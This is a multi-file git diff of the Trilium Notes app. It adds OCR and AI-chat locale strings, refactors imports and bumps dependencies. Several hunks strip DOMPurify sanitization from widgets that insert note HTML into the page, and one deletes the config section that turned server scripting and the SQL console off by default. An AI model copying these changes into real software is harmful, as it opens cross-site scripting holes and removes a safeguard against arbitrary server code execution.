* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -1,3 +1,4 @@
import { t } from "./i18n.js";
import utils, { isShare } from "./utils.js";
import ValidationError from "./validation_error.js";
@@ -32,8 +33,7 @@ async function getHeaders(headers?: Headers) {
return {};
}
const appContext = (await import("../components/app_context.js")).default;
const activeNoteContext = appContext.tabManager ? appContext.tabManager.getActiveContext() : null;
const activeNoteContext = glob.appContext?.tabManager ? glob.appContext.tabManager.getActiveContext() : null;
// headers need to be lowercase because node.js automatically converts them to lower case
// also avoiding using underscores instead of dashes since nginx filters them out by default
@@ -344,6 +344,7 @@ async function reportError(method: string, url: string, statusCode: number, resp
} catch (e) {}
}
// Dynamic import to avoid circular dependency (toast → app_context → options → server).
const toastService = (await import("./toast.js")).default;
const messageStr = (typeof message === "string" ? message : JSON.stringify(message)) || "-";
@@ -357,7 +358,6 @@ async function reportError(method: string, url: string, statusCode: number, resp
...response
});
} else {
const { t } = await import("./i18n.js");
if (statusCode === 400 && (url.includes("%23") || url.includes("%2F"))) {
toastService.showPersistent({
id: "trafik-blocked",
@@ -371,8 +371,7 @@ async function reportError(method: string, url: string, statusCode: number, resp
t("server.unknown_http_error_content", { statusCode, method, url, message: messageStr }),
15_000);
}
const { logError } = await import("./ws.js");
logError(`${statusCode} ${method} ${url} - ${message}`);
window.logError(`${statusCode} ${method} ${url} - ${message}`);
}
}

View File

@@ -455,9 +455,7 @@ export function openInAppHelpFromUrl(inAppHelpPage: string) {
export async function openInReusableSplit(targetNoteId: string, targetViewMode: ViewMode, openOpts: {
hoistedNoteId?: string;
} = {}) {
// Dynamic import to avoid import issues in tests.
const appContext = (await import("../components/app_context.js")).default;
const activeContext = appContext.tabManager.getActiveContext();
const activeContext = glob.appContext?.tabManager?.getActiveContext();
if (!activeContext) {
return;
}
@@ -467,7 +465,7 @@ export async function openInReusableSplit(targetNoteId: string, targetViewMode:
if (!existingSubcontext) {
// The target split is not already open, open a new split with it.
const { ntxId } = subContexts[subContexts.length - 1];
appContext.triggerCommand("openNewNoteSplit", {
glob.appContext?.triggerCommand("openNewNoteSplit", {
ntxId,
notePath: targetNoteId,
hoistedNoteId: openOpts.hoistedNoteId,

View File

@@ -1,13 +1,15 @@
import utils from "./utils.js";
import toastService from "./toast.js";
import server from "./server.js";
import options from "./options.js";
import frocaUpdater from "./froca_updater.js";
import appContext from "../components/app_context.js";
import { t } from "./i18n.js";
import type { EntityChange } from "../server_types.js";
import { WebSocketMessage } from "@triliumnext/commons";
import appContext from "../components/app_context.js";
import type { EntityChange } from "../server_types.js";
import bundleService from "./bundle.js";
import froca from "./froca.js";
import frocaUpdater from "./froca_updater.js";
import { t } from "./i18n.js";
import options from "./options.js";
import server from "./server.js";
import toast from "./toast.js";
import utils from "./utils.js";
type MessageHandler = (message: WebSocketMessage) => void;
let messageHandlers: MessageHandler[] = [];
@@ -126,20 +128,14 @@ async function handleMessage(event: MessageEvent<any>) {
} else if (message.type === "frontend-update") {
await executeFrontendUpdate(message.data.entityChanges);
} else if (message.type === "sync-hash-check-failed") {
toastService.showError(t("ws.sync-check-failed"), 60000);
toast.showError(t("ws.sync-check-failed"), 60000);
} else if (message.type === "consistency-checks-failed") {
toastService.showError(t("ws.consistency-checks-failed"), 50 * 60000);
toast.showError(t("ws.consistency-checks-failed"), 50 * 60000);
} else if (message.type === "api-log-messages") {
appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
} else if (message.type === "toast") {
toastService.showMessage(message.message);
toast.showMessage(message.message);
} else if (message.type === "execute-script") {
// TODO: Remove after porting the file
// @ts-ignore
const bundleService = (await import("./bundle.js")).default as any;
// TODO: Remove after porting the file
// @ts-ignore
const froca = (await import("./froca.js")).default as any;
const originEntity = message.originEntityId ? await froca.getNote(message.originEntityId) : null;
bundleService.getAndExecuteBundle(message.currentNoteId, originEntity, message.script, message.params);
@@ -161,7 +157,7 @@ function waitForEntityChangeId(desiredEntityChangeId: number) {
return new Promise<void>((res, rej) => {
entityChangeIdReachedListeners.push({
desiredEntityChangeId: desiredEntityChangeId,
desiredEntityChangeId,
resolvePromise: res,
start: Date.now()
});
@@ -205,7 +201,7 @@ async function consumeFrontendUpdateData() {
} else {
console.log("nonProcessedEntityChanges causing the timeout", nonProcessedEntityChanges);
toastService.showError(t("ws.encountered-error", { message: e.message }));
toast.showError(t("ws.encountered-error", { message: e.message }));
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -368,7 +368,7 @@
"calendar_root": "標記應用作為每日筆記的根。只應標記一個筆記。",
"archived": "含有此標籤的筆記預設在搜尋結果中不可見(也適用於跳轉至、新增連結對話方塊等)。",
"exclude_from_export": "筆記(及其子階層)不會包含在任何匯出的筆記中",
"run": "定義腳本應運行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端啟動時或重新整理時但不會在移動端執行。</li>\n<li>mobileStartup - Trilium前端啟動時或重新整理時 在行動端會執行。</li>\n<li>backendStartup - Trilium後端啟動時</li>\n<li>hourly - 每小時運行一次。您可以使用附加標籤<code>runAtHour</code>指定小時。</li>\n<li>daily - 每天運行一次</li>\n</ul>",
"run": "定義腳本應運行的事件。可能的值包括:\n<ul>\n<li>frontendStartup - Trilium前端啟動時或重新整理時但不會在移動端執行。</li>\n<li>mobileStartup - Trilium前端啟動時或重新整理時 在行動端會執行。</li>\n<li>backendStartup - Trilium後端啟動時</li>\n<li>hourly - 每小時運行一次。您可以使用附加標籤<code>runAtHour</code>指定小時。</li>\n<li>daily - 每天運行一次</li>\n</ul>",
"run_on_instance": "定義應在哪個 Trilium 實例上運行。預設為所有實例。",
"run_at_hour": "應在哪個小時運行。應與<code>#run=hourly</code>一起使用。可以多次定義,以便一天內運行多次。",
"disable_inclusion": "含有此標籤的腳本不會包含在父腳本執行中。",
@@ -706,7 +706,8 @@
"export_as_image": "匯出為圖片",
"export_as_image_png": "PNG (點陣)",
"export_as_image_svg": "SVG (向量)",
"note_map": "筆記地圖"
"note_map": "筆記地圖",
"view_ocr_text": "顯示 OCR 文字"
},
"onclick_button": {
"no_click_handler": "按鈕元件'{{componentId}}'沒有定義點擊時的處理方式"
@@ -1196,12 +1197,28 @@
},
"images": {
"images_section_title": "圖片",
"download_images_automatically": "自動下載圖片以供離線使用。",
"download_images_description": "貼上的 HTML 可能包含線上圖片的引用Trilium 會找到這些引用並下載圖片,以便它們可以離線使用。",
"enable_image_compression": "啟用圖片壓縮",
"max_image_dimensions": "圖片的最大寬度 / 高度(超過此限制的圖片將會被縮放)。",
"jpeg_quality_description": "JPEG 質量10 - 最差質量100 最佳質量,建議為 50 - 85",
"max_image_dimensions_unit": "像素"
"download_images_automatically": "自動下載圖片",
"download_images_description": "貼上的 HTML 下載引用的線上圖片以便離線使用。",
"enable_image_compression": "圖片壓縮",
"max_image_dimensions": "最大圖片尺寸",
"jpeg_quality_description": "建議範圍為 5085。較低的數值可縮小檔案大小較高的數值則能保留更多細節。",
"max_image_dimensions_unit": "像素",
"enable_image_compression_description": "在上傳或貼上圖片時壓縮並調整圖片大小。",
"max_image_dimensions_description": "超過此尺寸的圖片將會自動調整大小。",
"jpeg_quality": "JPEG 品質",
"ocr_section_title": "文字擷取OCR",
"ocr_related_content_languages": "內容語言(用於文字擷取)",
"ocr_auto_process": "自動處理新檔案",
"ocr_auto_process_description": "自動從新上傳或貼上的檔案中擷取文字。",
"ocr_min_confidence": "最低信賴度",
"ocr_confidence_description": "僅提取高於此信賴度閾值的文字。較低的閾值雖能包含更多文字,但準確度可能較低。",
"batch_ocr_title": "處理現有檔案",
"batch_ocr_description": "從筆記中的所有現有圖片、PDF 檔案及 Office 文件中擷取文字。根據檔案數量多寡,此過程可能需要一些時間。",
"batch_ocr_start": "開始批次處理",
"batch_ocr_starting": "開始批次處理…",
"batch_ocr_progress": "正在處理 {{processed}} 個檔案,共 {{total}} 個檔案…",
"batch_ocr_completed": "批次處理完成!已處理 {{processed}} 個檔案。",
"batch_ocr_error": "批次處理期間發生錯誤:{{error}}"
},
"attachment_erasure_timeout": {
"attachment_erasure_timeout": "附件清理超時",
@@ -1497,7 +1514,8 @@
"new-feature": "新增",
"collections": "集合",
"ai-chat": "AI 聊天",
"spreadsheet": "試算表"
"spreadsheet": "試算表",
"llm-chat": "AI 對話"
},
"protect_note": {
"toggle-on": "保護筆記",
@@ -1866,7 +1884,7 @@
},
"content_language": {
"title": "內文語言",
"description": "選擇一種或多種語言作為唯讀或可編輯文字筆記的可選基本屬性,這將支援拼寫檢查從右向左之類的功能。"
"description": "選擇一種或多種語言作為唯讀或可編輯文字筆記的可選基本屬性,這將支援拼寫檢查從右向左及文字擷取 (OCR) 等功能。"
},
"switch_layout_button": {
"title_vertical": "將編輯面板移至底部",
@@ -2046,7 +2064,9 @@
"title": "實驗性選項",
"disclaimer": "這些選項屬實驗性質,可能導致系統不穩定。請謹慎使用。",
"new_layout_name": "新版面配置",
"new_layout_description": "體驗全新版面配置,呈現更現代的外觀與更佳的使用體驗。在未來版本將進行大幅調整。"
"new_layout_description": "體驗全新版面配置,呈現更現代的外觀與更佳的使用體驗。在未來版本將進行大幅調整。",
"llm_name": "AI / LLM 對話",
"llm_description": "啟用由大語言模型驅動的 AI 聊天側邊欄及 LLM 聊天筆記。"
},
"server": {
"unknown_http_error_title": "與伺服器通訊錯誤",
@@ -2229,6 +2249,121 @@
"sample_user_journey": "使用者旅程",
"sample_xy": "XY 圖表",
"sample_venn": "韋恩圖",
"sample_ishikawa": "魚骨圖"
"sample_ishikawa": "魚骨圖",
"sample_treeview": "樹狀視圖",
"sample_wardley": "沃德利地圖"
},
"llm_chat": {
"placeholder": "輸入訊息…",
"send": "送出",
"sending": "正在送出…",
"empty_state": "請在下方輸入訊息,開啟對話。",
"searching_web": "正在搜尋網頁…",
"web_search": "網頁搜尋",
"note_tools": "筆記存取",
"sources": "來源",
"sources_summary": "來自 {{sites}} 個網站的 {{count}} 個來源",
"extended_thinking": "延伸思考",
"legacy_models": "傳統模型",
"thinking": "正在思考…",
"thought_process": "思考過程",
"tool_calls": "{{count}} 次工具調用",
"input": "輸入",
"result": "結果",
"error": "錯誤",
"tool_error": "失敗",
"total_tokens": "{{total}} 個詞元",
"tokens_detail": "{{prompt}} 提示詞 + {{completion}} 補全",
"tokens_used": "{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元",
"tokens_used_with_cost": "{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元(約 ${{cost}}",
"tokens_used_with_model": "{{model}}{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元",
"tokens_used_with_model_and_cost": "{{model}}{{prompt}} 提示詞 + {{completion}} 補全 = {{total}} 個詞元(約 ${{cost}}",
"tokens": "詞元",
"context_used": "已使用 {{percentage}}%",
"note_context_enabled": "點擊以禁用筆記上下文:{{title}}",
"note_context_disabled": "點擊將當前筆記納入上下文",
"no_provider_message": "尚未設定任何 AI 服務提供者。請新增一個以開始聊天。",
"add_provider": "新增 AI 提供者"
},
"ocr": {
"processing_complete": "OCR 處理已完成。",
"processing_failed": "無法啟動 OCR 處理",
"text_filtered_low_confidence": "OCR 偵測到的信賴度為 {{confidence}}%,但因您的最低閾值設定為 {{threshold}}%,故該結果已被捨棄。",
"open_media_settings": "開啟設定",
"view_extracted_text": "檢視擷取的文字 (OCR)",
"extracted_text": "已擷取的文字 (OCR)",
"extracted_text_title": "已擷取的文字 (OCR)",
"loading_text": "正在載入 OCR 文字…",
"no_text_available": "無 OCR 文字可用",
"no_text_explanation": "此筆記尚未經過 OCR 文字擷取處理,或未找到任何文字。",
"failed_to_load": "載入 OCR 文字失敗",
"process_now": "處理 OCR",
"processing": "正在處理…",
"processing_started": "OCR 處理已開始。請稍候片刻並重新整理頁面。"
},
"mind-map": {
"addChild": "新增子節點",
"addParent": "新增父節點",
"addSibling": "新增同級節點",
"removeNode": "刪除節點",
"focus": "專注模式",
"cancelFocus": "退出專注模式",
"moveUp": "上移",
"moveDown": "下移",
"link": "連結",
"linkBidirectional": "雙向連結",
"clickTips": "請點擊目標節點",
"summary": "摘要"
},
"llm": {
"settings_title": "AI / LLM",
"settings_description": "設定 AI 及大型語言模型整合。",
"feature_not_enabled": "請前往「設定」→「進階」→「實驗性功能」啟用 LLM 實驗性功能,即可使用 AI 整合。",
"add_provider": "新增提供者",
"add_provider_title": "新增 AI 提供者",
"configured_providers": "已設定的提供者",
"no_providers_configured": "尚未設定任何提供者。",
"provider_name": "名稱",
"provider_type": "提供者",
"actions": "動作",
"delete_provider": "刪除",
"delete_provider_confirmation": "您確定要刪除提供者 \"{{name}}\" 嗎?",
"api_key": "API 金鑰",
"api_key_placeholder": "請輸入您的 API 金鑰",
"cancel": "取消",
"mcp_title": "MCP模型上下文協定",
"mcp_enabled": "MCP 伺服器",
"mcp_enabled_description": "公開一個模型上下文協定 (MCP) 端點,以便人工智慧編程助手(例如 Claude Code、GitHub Copilot能夠讀取並修改您的筆記。此端點僅限從 localhost 存取。",
"mcp_endpoint_title": "端點網址",
"mcp_endpoint_description": "將此網址新增至您的 AI 助理的 MCP 設定中",
"tools": {
"search_notes": "搜尋筆記",
"get_note": "取得筆記",
"get_note_content": "取得筆記內容",
"update_note_content": "更新筆記內容",
"append_to_note": "追加至筆記",
"create_note": "建立筆記",
"get_attributes": "取得屬性",
"get_attribute": "取得屬性",
"set_attribute": "設定屬性",
"delete_attribute": "移除屬性",
"get_child_notes": "取得子筆記",
"get_subtree": "取得子階層",
"load_skill": "載入技能",
"web_search": "網頁搜尋",
"note_in_parent": "<Note/> 於 <Parent/>",
"get_attachment": "取得附件",
"get_attachment_content": "讀取附件內容"
}
},
"sidebar_chat": {
"title": "AI 對話",
"launcher_title": "打開 AI 對話",
"new_chat": "開始新對話",
"save_chat": "將對話保存至筆記",
"empty_state": "開始會話",
"history": "對話歷史",
"recent_chats": "最近的對話",
"no_chats": "無先前的對話記錄"
}
}

View File

@@ -82,6 +82,7 @@ export const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, (() => Promise<{ de
hi: () => import("@fullcalendar/core/locales/hi"),
ga: null,
cn: () => import("@fullcalendar/core/locales/zh-cn"),
cs: () => import("@fullcalendar/core/locales/cs"),
tw: () => import("@fullcalendar/core/locales/zh-tw"),
ro: () => import("@fullcalendar/core/locales/ro"),
ru: () => import("@fullcalendar/core/locales/ru"),

View File

@@ -4,7 +4,6 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -88,7 +87,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
))}
</div>
</div>

View File

@@ -1,7 +1,6 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -73,7 +72,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
return { __html: $renderedContent.html() };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,27 +13,6 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -276,7 +255,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$highlightsList.children().last().append(subHtml);
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -288,12 +267,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
} else {
$highlightsList.append(
$("<li>")
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.html(subHtml)
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -1,8 +1,6 @@
import DOMPurify from "dompurify";
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -39,7 +37,7 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: sanitizeNoteContentHtml(html as string)
__html: html as string
};
}

View File

@@ -21,27 +21,6 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -358,7 +337,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $itemContent = $('<div class="item-content">').html(headingText);
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -4,6 +4,7 @@ import type { DISPLAYABLE_LOCALE_IDS } from "@triliumnext/commons";
export const LANGUAGE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, Language["code"] | null> = {
ar: "ar-SA",
cn: "zh-CN",
cs: "cs-CZ",
de: "de-DE",
en: "en",
"en-GB": "en",

View File

@@ -39,12 +39,12 @@
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@electron/fuses": "2.1.1",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.8.5",
"copy-webpack-plugin": "14.0.0",
"electron": "41.1.1",
"prebuild-install": "7.1.3"
}
}

View File

@@ -67,13 +67,3 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -86,7 +86,24 @@
"copy-without-formatting": "Kopírovat vybraný text bez formátování",
"force-save-revision": "Vynutit vytvoření / uložení nové revize aktivní poznámky",
"export-as-pdf": "Exportovat současnou poznámku jako PDF",
"toggle-zen-mode": "Zapnout/vypnout režim zen (minimalistické uživatelské rozhraní pro soustředěnější úpravy)"
"toggle-zen-mode": "Zapnout/vypnout režim zen (minimalistické uživatelské rozhraní pro soustředěnější úpravy)",
"toggle-basic-properties": "Přepnout základní vlastnosti",
"toggle-file-properties": "Přepnout vlastnosti souboru",
"toggle-image-properties": "Přepnout vlastnosti obrázku",
"toggle-owned-attributes": "Přepnout vlastní atributy",
"toggle-inherited-attributes": "Přepnout zděděné atributy",
"toggle-promoted-attributes": "Přepnout propagované atributy",
"toggle-link-map": "Přepnout mapu odkazů",
"toggle-note-info": "Přepnout informace o poznámce",
"toggle-note-paths": "Přepnout cesty k poznámce",
"toggle-similar-notes": "Přepnout podobné poznámky",
"toggle-right-pane": "Přepnout zobrazení pravého panelu, který obsahuje obsah a zvýraznění",
"toggle-note-hoisting": "Přepnout zúžení zobrazení aktivní poznámky",
"find-in-text": "Přepnout panel hledání",
"toggle-left-note-tree-panel": "Přepnout levý panel (strom poznámek)",
"toggle-full-screen": "Přepnout režim celého obrazovky",
"toggle-book-properties": "Přepnout vlastnosti kolekce",
"toggle-classic-editor-toolbar": "Přepnout záložku formátování pro editor s fixní páskou"
},
"keyboard_action_names": {
"jump-to-note": "Přejít na...",
@@ -107,6 +124,322 @@
"expand-subtree": "Otevřít podstrom",
"collapse-tree": "Zavřít strom",
"collapse-subtree": "Zavřít podstrom",
"sort-child-notes": "Seřadit dceřiné poznámky"
"sort-child-notes": "Seřadit dceřiné poznámky",
"create-note-after": "Vytvořit poznámku po",
"create-note-into": "Vytvořit poznámku do",
"create-note-into-inbox": "Vytvořit poznámku v doručené poště",
"delete-notes": "Smazat poznámky",
"edit-branch-prefix": "Upravit předponu větve",
"paste-notes-from-clipboard": "Vložit poznámky ze schránky",
"cut-notes-to-clipboard": "Vyříznout poznámky do schránky",
"select-all-notes-in-parent": "Vybrat všechny poznámky v nadřazené položce",
"add-note-above-to-selection": "Přidat poznámku nad výběr",
"add-note-below-to-selection": "Přidat poznámku pod výběr",
"duplicate-subtree": "Duplikovat podstrom",
"open-new-tab": "Otevřít novou záložku",
"close-active-tab": "Zavřít aktivní záložku",
"reopen-last-tab": "Znovu otevřít poslední záložku",
"activate-next-tab": "Aktivovat další záložku",
"activate-previous-tab": "Aktivovat předchozí záložku",
"open-new-window": "Otevřít nové okno",
"toggle-system-tray-icon": "Přepínat ikonu v systémové oblasti",
"toggle-zen-mode": "Přepínat režim Zen",
"switch-to-first-tab": "Přepnout na první záložku",
"switch-to-second-tab": "Přepnout na druhou záložku",
"switch-to-third-tab": "Přepnout na třetí záložku",
"switch-to-fourth-tab": "Přepnout na čtvrtou záložku",
"switch-to-fifth-tab": "Přepnout na pátou záložku",
"switch-to-sixth-tab": "Přepnout na šestou záložku",
"switch-to-seventh-tab": "Přepnout na sedmou záložku",
"switch-to-eighth-tab": "Přepnout na osmou záložku",
"switch-to-ninth-tab": "Přepnout na devátou záložku",
"switch-to-last-tab": "Přepnout na poslední záložku",
"show-note-source": "Zobrazit zdroj poznámky",
"show-options": "Zobrazit nastavení",
"show-revisions": "Zobrazit revize",
"show-recent-changes": "Zobrazit nedávné změny",
"show-sql-console": "Zobrazit SQL konzoli",
"show-backend-log": "Zobrazit log backendu",
"show-help": "Zobrazit nápovědu",
"show-cheatsheet": "Zobrazit kısestupku",
"add-link-to-text": "Přidat odkaz do textu",
"follow-link-under-cursor": "Otevřít odkaz pod kurzorem",
"insert-date-and-time-to-text": "Vložit datum a čas do textu",
"paste-markdown-into-text": "Vložit Markdown do textu",
"cut-into-note": "Vyříznout do poznámky",
"add-include-note-to-text": "Přidat zahrnutí poznámky do textu",
"edit-read-only-note": "Upravit poznámku pouze pro čtení",
"add-new-label": "Přidat nový štítek",
"add-new-relation": "Přidat novou vazbu",
"toggle-ribbon-tab-classic-editor": "Přepínat záložku pásu karet Klasický editor",
"toggle-ribbon-tab-basic-properties": "Přepínat záložku pásu karet Základní vlastnosti",
"toggle-ribbon-tab-book-properties": "Přepínat záložku pásu karet Vlastnosti knihy",
"toggle-ribbon-tab-file-properties": "Přepínat záložku pásu karet Vlastnosti souboru",
"toggle-ribbon-tab-image-properties": "Přepínat záložku pásu karet Vlastnosti obrázku",
"toggle-ribbon-tab-owned-attributes": "Přepínat záložku pásu karet Vlastní atributy",
"toggle-ribbon-tab-inherited-attributes": "Přepínat záložku pásu karrét Zděděné atributy",
"toggle-ribbon-tab-promoted-attributes": "Přepínat záložku pásu karet Propagované atributy",
"toggle-ribbon-tab-note-map": "Přepínat záložku pásu karet Mapa poznámky",
"toggle-ribbon-tab-note-info": "Přepínat záložku pásu karet Informace o poznámce",
"toggle-ribbon-tab-note-paths": "Přepínat záložku pásu karet Cesty k poznámce",
"toggle-ribbon-tab-similar-notes": "Přepínat záložku pásu karet Podobné poznámky",
"toggle-right-pane": "Přepnout pravý panel",
"print-active-note": "Tisknout aktivní poznámku",
"export-active-note-as-pdf": "Exportovat aktivní poznámku jako PDF",
"open-note-externally": "Otevřít poznámku externě",
"render-active-note": "Zobrazit aktivní poznámku",
"run-active-note": "Spustit aktivní poznámku",
"toggle-note-hoisting": "Přepnout zúžení zobrazení poznámky",
"unhoist-note": "Zrušit zúžení zobrazení poznámky",
"reload-frontend-app": "Znovu načíst frontend aplikaci",
"open-developer-tools": "Otevřít vývojářské nástroje",
"find-in-text": "Najít v textu",
"toggle-left-pane": "Přepnout levý panel",
"toggle-full-screen": "Přepnout režim celého obrazovky",
"zoom-out": "Zoom out",
"zoom-in": "Zoom in",
"reset-zoom-level": "Resetovat úroveň zvětšení",
"copy-without-formatting": "Kopírovat bez formátování",
"force-save-revision": "Vynutit uložení revize"
},
"login": {
"title": "Přihlášení",
"heading": "Přihlášení do Trilium",
"incorrect-totp": "TOTP je nesprávné. Zkuste to prosím znovu.",
"incorrect-password": "Heslo je nesprávné. Zkuste to prosím znovu.",
"password": "Heslo",
"remember-me": "Zapamatovat si mě",
"button": "Přihlásit se",
"sign_in_with_sso": "Přihlásit se pomocí {{ ssoIssuerName }}"
},
"set_password": {
"title": "Nastavit heslo",
"heading": "Nastavit heslo",
"description": "Než budete moci začít Trilium používat z webu, musíte nejprve nastavit heslo. Toto heslo pak budete používat k přihlášení.",
"password": "Heslo",
"password-confirmation": "Potvrzení hesla",
"button": "Nastavit heslo"
},
"setup": {
"heading": "Nastavení Trilium Notes",
"new-document": "Jsem nový uživatel a chci vytvořit nový dokument Trilium pro své poznámky",
"sync-from-desktop": "Již mám instanci na počítači a chci s ní nastavit synchronizaci",
"sync-from-server": "Již mám instanci na serveru a chci s ní nastavit synchronizaci",
"next": "Další",
"init-in-progress": "Inicializace dokumentu probíhá",
"redirecting": "Budete brzy přesměrováni do aplikace.",
"title": "Nastavení"
},
"setup_sync-from-desktop": {
"heading": "Synchronizace z počítače",
"description": "Toto nastavení musí být zahájeno z instance na počítači:",
"step1": "Otevřete svou instanci Trilium Notes na počítači.",
"step2": "V menu Trilium klikněte na Nastavení.",
"step3": "Klikněte na kategorii Synchronizace.",
"step4": "Změňte adresu instance serveru na: {{- host}} a klikněte na Uložit.",
"step5": "Klikněte na tlačítko „Testovat synchronizaci“ pro ověření úspěšného připojení.",
"step6": "Jakmile tyto kroky dokončíte, klikněte na {{- link}}.",
"step6-here": "zde"
},
"setup_sync-from-server": {
"heading": "Synchronizace ze serveru",
"instructions": "Níže prosím zadejte adresu serveru Trilium a přihlašovací údaje. To stáhne celý dokument Trilium ze serveru a nastaví jeho synchronizaci. V závislosti na velikosti dokumentu a rychlosti vašeho připojení to může trvat nějakou dobu.",
"server-host": "Adresa serveru Trilium",
"server-host-placeholder": "https://<hostname>:<port>",
"proxy-server": "Proxy server (volitelné)",
